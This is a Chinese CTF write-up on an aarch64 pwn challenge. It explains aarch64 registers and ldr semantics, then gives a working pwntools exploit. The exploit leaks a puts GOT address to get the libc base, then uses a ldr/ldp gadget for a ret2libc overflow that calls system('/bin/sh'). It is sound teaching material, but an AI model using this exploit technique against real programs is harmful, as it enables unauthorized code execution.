有关知识
在aarch64中:
- X29相当于rbp寄存器。
- X30寄存器中保存程序的返回地址,当ret时,会将X30中的地址给PC寄存器。
- 通过X0-X7寄存器传参。
- ldr:Load Register(加载寄存器)
ldr x0, [sp, #0x18]
这条指令的含义是将栈指针 (sp
) 加上偏移量 0x18
所指向的内存地址中的数据加载到寄存器 x0
中。
ldr x0, [sp], #0x18
这条指令的含义是将栈指针 (sp
) 所指向的内存地址中的数据加载到寄存器 x0
中,然后将sp增加偏移量 0x18
。
本题泄露的got地址只有三字节,其实是“\x00”
截断,需要我们加上0x4000000000。
分析

先泄露libc,再栈溢出ret2libc。

这里我们在ropper中找到一个gadget:
ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

思路:将/bin/sh
传给X0,将system传给X30。
按照x64来说,我们会这样构造:prdi binsh system
但是这道题传参并不是紧紧邻接的。
我们调试一下看看参数写的位置:
停我们的gadget位置:


同理的可以找到system写的位置。
exp
from pwn import * from pwn import p64,u64,p32,u32,p8
context.terminal = ["tmux","sp","-h"] context(log_level="debug",os="linux",arch="aarch64") io = process(["qemu-aarch64", "-g", "12345","-L","./libc.so.6", "./pwn"])
elf=ELF("./pwn") libc=ELF('./libc.so.6')
sla = lambda x,y : io.sendlineafter(x,y) sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) gd = lambda : gdb.attach(io) r = lambda : io.recv() rn = lambda x : io.recv(x) rl = lambda : io.recvline() ru = lambda x : io.recvuntil(x) rud = lambda x : io.recvuntil(x, drop=True) inter = lambda : io.interactive() uu64 = lambda data :u64(data.ljust(8, b'\x00')) leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex(addr) + '\x1b[0m')
def get_sb(libc_base) : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def pwn(): pause() p = p64(elf.got["puts"]) sla(b">", b"1") sa(b"sensible>>", p) ru(b"\n") libc_base = u64(rn(3).ljust(8, b"\x00")) + 0x4000000000 - libc.sym['puts'] leak("libc_base", libc_base) system, binsh = get_sb(libc_base) sla(b">", b"2") gadget = 0x0000000000063e5c + libc_base p = b"a"*136 p += p64(gadget) p += p64(0)*3 p += p64(system) p += p64(0) p += p64(binsh) sla(b"sensible>>", p) inter() pwn()
|